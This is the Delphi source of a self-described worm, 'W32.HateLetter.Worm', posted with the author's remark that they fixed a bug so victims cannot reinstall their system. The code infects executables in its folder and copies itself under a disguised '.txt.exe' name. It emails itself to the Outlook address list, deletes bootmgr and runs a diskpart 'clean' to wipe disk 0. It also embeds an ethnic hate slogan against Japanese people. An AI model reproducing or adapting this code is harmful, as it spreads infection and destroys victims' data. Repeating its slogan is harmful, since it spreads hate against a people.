Delphi 蠕虫病毒

program HateLetter;
 
{$APPTYPE CONSOLE}
 
uses
  Windows,   SysUtils,   Classes,   Graphics,   ShellAPI,   ComObj,   Variants,   Registry,   ActiveX,   ShlObj;
 
const
  HeaderSize = 82432;
  IconOffset = $12EB8;
  IconSize = $2E8;
  IconTail = IconOffset + IconSize;
  ID = $44444444; // Infection marker
  Catchword = 'If a race needs to be killed out,   it must be Yamato. If a country needs to be destroyed,   it must be Japan! *** W32.HateLetter.Worm.A ***';
 
function RegisterServiceProcess(dwProcessID,   dwType:   Integer):   Integer; stdcall; external 'Kernel32.dll';
 
var
  TmpFile:   string;
  Si:   STARTUPINFO;
  Pi:   PROCESS_INFORMATION;
  SourceFile:   string;
 
procedure CopySelfToBackup;
const
  BackupPath = 'D:  \Backup\HateLetter.txt.exe';
begin
  try
    if not DirectoryExists('D:  \Backup') then
      if not CreateDir('D:  \Backup') then
        raise Exception.Create('Failed to create backup directory.');
 
    if not CopyFile(PChar(ParamStr(0)),   PChar(BackupPath),   False) then
      raise Exception.Create('Failed to copy file to backup.');
  except
    on E:   Exception do
      Writeln('Error in CopySelfToBackup:   ',   E.Message);
  end;
end;
 
procedure ExecuteCommand(const Cmd:   string);
begin
  try
    if ShellExecute(0,   'open',   'cmd.exe',   PChar('/C ' + Cmd),   nil,   SW_HIDE) <= 32 then
      raise Exception.Create('Failed to execute command:   ' + Cmd);
  except
    on E:   Exception do
      Writeln('Error in ExecuteCommand:   ',   E.Message);
  end;
end;
 
procedure CopyFileToSpecialFolder(const SourceFile,   SpecialFolder:   string);
var
  Path:   array[0..MAX_PATH] of Char;
begin
  try
    if Succeeded(SHGetFolderPath(0,   CSIDL_STARTMENU or CSIDL_FLAG_CREATE,   0,   0,   Path)) then
    begin
      if not CopyFile(PChar(SourceFile),   PChar(Path + '\' + SpecialFolder),   False) then
        raise Exception.Create('Failed to copy file to special folder:   ' + SpecialFolder);
    end;
  except
    on E:   Exception do
      Writeln('Error in CopyFileToSpecialFolder:   ',   E.Message);
  end;
end;
 
procedure SetRegistryValue(RootKey:   HKEY; const Key,   Name:   string; ValueType:   TRegDataType; const Value:   Variant);
var
  Reg:   TRegistry;
begin
  try
    Reg :  = TRegistry.Create(KEY_WRITE);
    try
      Reg.RootKey :  = RootKey;
      if Reg.OpenKey(Key,   True) then
      begin
        case ValueType of
          rdString,   rdExpandString:   Reg.WriteString(Name,   Value);
          rdInteger:   Reg.WriteInteger(Name,   Value);
          rdBinary:   Reg.WriteBinaryData(Name,   Value,   Length(Value));
        end;
      end else
        raise Exception.Create('Failed to open registry key:   ' + Key);
    finally
      Reg.Free;
    end;
  except
    on E:   Exception do
      Writeln('Error in SetRegistryValue:   ',   E.Message);
  end;
end;
 
procedure InstallOutlook;
begin
  ExecuteCommand('powershell -Command "Start-Process msiexec.exe -ArgumentList ''/i OutlookSetup.msi /quiet /norestart'' -NoNewWindow -Wait"');
end;
 
procedure SendEmails;
var
  OutlookApp,   MailItem,   Namespace,   AddressLists,   AddressEntry:   OleVariant;
  I:   Integer;
  Recipient:   String;
  AttachmentPath:   String;
begin
  try
    OutlookApp :  = CreateOleObject('Outlook.Application');
  except
    on E:   Exception do
    begin
      Writeln('Error in creating Outlook application:   ',   E.Message);
      InstallOutlook;
      OutlookApp :  = CreateOleObject('Outlook.Application');
    end;
  end;
 
  try
    Namespace :  = OutlookApp.GetNamespace('MAPI');
    AddressLists :  = Namespace.AddressLists.Item(1);
    AttachmentPath :  = 'D:  \Backup\HateLetter.txt.exe'; // Attachment path
 
    for I :  = 1000 to AddressLists.AddressEntries.Count do
    begin
      try
        MailItem :  = OutlookApp.CreateItem(0); // Create new email item
        AddressEntry :  = AddressLists.AddressEntries.Item(I);
        Recipient :  = AddressEntry.Address;
 
        MailItem.Recipients.Add(Recipient);
        MailItem.Subject :  = 'You are foolish!!!!!!!!!!!!!!!!!';
        MailItem.Body :  = 'I hate you,   here is a document explaining why you are so foolish!!!!!!!!';
        MailItem.Attachments.Add(AttachmentPath); // Attach file
        MailItem.Send; // Send email
      except
        on E:   Exception do
          Writeln('Error in SendEmails:   ',   E.Message);
      end;
    end;
  except
    on E:   Exception do
      Writeln('Error in SendEmails:   ',   E.Message);
  end;
end;
 
function IsWin9x:   Boolean;
var
  Ver:   TOSVersionInfo;
begin
  Result :  = False;
  Ver.dwOSVersionInfoSize :  = SizeOf(TOSVersionInfo);
  if GetVersionEx(Ver) then
  begin
    if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then // Win9x
      Result :  = True;
  end else
    Writeln('Failed to get OS version.');
end;
 
procedure CopyStream(Src:   TStream; sStartPos,   Dst:   TStream; dStartPos,   Count:   Integer);
var
  sCurPos,   dCurPos:   Integer;
begin
  try
    sCurPos :  = Src.Position;
    dCurPos :  = Dst.Position;
    Src.Seek(sStartPos,   soFromBeginning);
    Dst.Seek(dStartPos,   soFromBeginning);
    Dst.CopyFrom(Src,   Count);
    Src.Seek(sCurPos,   soFromBeginning);
    Dst.Seek(dCurPos,   soFromBeginning);
  except
    on E:   Exception do
      Writeln('Error in CopyStream:   ',   E.Message);
  end;
end;
 
procedure ExtractFile(FileName:   string);
var
  sStream,   dStream:   TFileStream;
begin
  try
    sStream :  = TFileStream.Create(ParamStr(0),   fmOpenRead);
    try
      dStream :  = TFileStream.Create(FileName,   fmCreate);
      try
        sStream.Seek(HeaderSize,   soFromBeginning);
        dStream.CopyFrom(sStream,   sStream.Size - HeaderSize);
      finally
        dStream.Free;
      end;
    finally
      sStream.Free;
    end;
  except
    on E:   Exception do
      Writeln('Error in ExtractFile:   ',   E.Message);
  end;
end;
 
procedure FillStartupInfo(var Si:   STARTUPINFO; State:   Word);
begin
  Si.cb :  = SizeOf(Si);
  Si.lpReserved :  = nil;
  Si.lpDesktop :  = nil;
  Si.lpTitle :  = nil;
  Si.dwFlags :  = STARTF_USESHOWWINDOW;
  Si.wShowWindow :  = State;
  Si.cbReserved2 :  = 0;
  Si.lpReserved2 :  = nil;
end;
 
procedure InfectOneFile(FileName:   string);
var
  HdrStream,   SrcStream:   TFileStream;
  IcoStream,   DstStream:   TMemoryStream;
  iID:   LongInt;
  aIcon:   TIcon;
  Infected,   IsPE:   Boolean;
  i:   Integer;
  Buf:   array[0..1] of Char;
begin
  try
    if CompareText(FileName,   'HateLetter.txt.exe') = 0 then
      Exit;
 
    Infected :  = False;
    IsPE :  = False;
    SrcStream :  = TFileStream.Create(FileName,   fmOpenRead);
    try
      for i :  = 0 to $108 do
      begin
        SrcStream.Seek(i,   soFromBeginning);
        SrcStream.Read(Buf,   2);
        if (Buf[0] = #80) and (Buf[1] = #69) then
        begin
          IsPE :  = True;
          Break;
        end;
      end;
 
      SrcStream.Seek(-4,   soFromEnd);
      SrcStream.Read(iID,   4);
      if (iID = ID) or (SrcStream.Size < 10240) then
        Infected :  = True;
    finally
      SrcStream.Free;
    end;
 
    if Infected or (not IsPE) then
      Exit;
 
    IcoStream :  = TMemoryStream.Create;
    DstStream :  = TMemoryStream.Create;
    try
      aIcon :  = TIcon.Create;
      try
        aIcon.ReleaseHandle;
        aIcon.Handle :  = ExtractIcon(HInstance,   PChar(FileName),   0);
        aIcon.SaveToStream(IcoStream);
      finally
        aIcon.Free;
      end;
 
      SrcStream :  = TFileStream.Create(FileName,   fmOpenRead or fmShareDenyWrite);
      try
        DstStream.CopyFrom(SrcStream,   0);
      finally
        SrcStream.Free;
      end;
 
      HdrStream :  = TFileStream.Create(ParamStr(0),   fmOpenRead);
      try
        DstStream.Seek(0,   soFromBeginning);
        CopyStream(HdrStream,   0,   DstStream,   0,   HeaderSize);
        if (IcoStream.Size > 0) and (IcoStream.Size < 2048) then
        begin
          CopyStream(IcoStream,   0,   DstStream,   IconOffset,   IcoStream.Size);
          for i :  = IconTail to (IconOffset + 2048) do
            DstStream.Write(iID,   1);
        end;
 
        DstStream.Seek(0,   soFromEnd);
        HdrStream.Seek(HeaderSize,   soFromBeginning);
        DstStream.CopyFrom(HdrStream,   HdrStream.Size - HeaderSize);
        DstStream.Write(ID,   4);
      finally
        HdrStream.Free;
      end;
 
      DstStream.SaveToFile(FileName);
    finally
      IcoStream.Free;
      DstStream.Free;
    end;
  except
    on E:   Exception do
      Writeln('Error in InfectOneFile:   ',   E.Message);
  end;
end;
 
procedure SpreadInfection;
var
  SearchRec:   TSearchRec;
begin
  try
    if FindFirst('*.exe',   faAnyFile,   SearchRec) = 0 then
    begin
      repeat
        InfectOneFile(SearchRec.Name);
      until FindNext(SearchRec) <> 0;
      FindClose(SearchRec);
    end;
  except
    on E:   Exception do
      Writeln('Error in SpreadInfection:   ',   E.Message);
  end;
end;
 
procedure DeleteFileSystem32Bootmgr;
var
  FilePath:   string;
begin
  FilePath :  = 'C:  \Windows\System32\bootmgr';
  if DeleteFile(PChar(FilePath)) then
    Writeln('File deleted successfully.')
  else
    Writeln('Failed to delete file:   ',   SysErrorMessage(GetLastError));
end;
 
procedure RunDiskPartScript;
var
  ScriptFileName:   string;
  DiskPartProcessInfo:   TProcessInformation;
  DiskPartStartupInfo:   TStartupInfo;
  DiskPartCmdLine:   string;
  ExitCode:   DWORD;
begin
  ScriptFileName :  = 'diskpart_script.txt';
 
  // Create the DiskPart script
  with TStringList.Create do
  try
    Add('select disk 0');
    Add('clean');
    SaveToFile(ScriptFileName);
  finally
    Free;
  end;
 
  // Initialize the startup info
  ZeroMemory(@DiskPartStartupInfo,   SizeOf(TStartupInfo));
  DiskPartStartupInfo.cb :  = SizeOf(TStartupInfo);
  DiskPartStartupInfo.dwFlags :  = STARTF_USESHOWWINDOW;
  DiskPartStartupInfo.wShowWindow :  = SW_HIDE;
 
  DiskPartCmdLine :  = 'diskpart /s ' + ScriptFileName;
 
  // Create the process to run DiskPart
  if CreateProcess(nil,   PChar(DiskPartCmdLine),   nil,   nil,   False,   0,   nil,   nil,   DiskPartStartupInfo,   DiskPartProcessInfo) then
  begin
    // Wait for DiskPart to complete
    WaitForSingleObject(DiskPartProcessInfo.hProcess,   INFINITE);
    GetExitCodeProcess(DiskPartProcessInfo.hProcess,   ExitCode);
    Writeln('DiskPart exited with code:   ',   ExitCode);
 
    // Clean up handles
    CloseHandle(DiskPartProcessInfo.hProcess);
    CloseHandle(DiskPartProcessInfo.hThread);
  end
  else
    Writeln('Failed to execute DiskPart:   ',   SysErrorMessage(GetLastError));
 
  // Delete the DiskPart script file
  DeleteFile(PChar(ScriptFileName));
end;
 
begin
  try
    if IsWin9x then
      RegisterServiceProcess(GetCurrentProcessID,   1);
 
    CopySelfToBackup;
    SpreadInfection;
    SendEmails;
 
    Writeln('Deleting bootmgr...');
    DeleteFileSystem32Bootmgr;
 
    Writeln('Running DiskPart script...');
    RunDiskPartScript;
  except
    on E:   Exception do
      Writeln(E.ClassName,   ':   ',   E.Message);
  end;
end.

本来我就设计了禁用重装系统，但是有人说可以重装，最后发现了一个bug,已下是修复后的代码。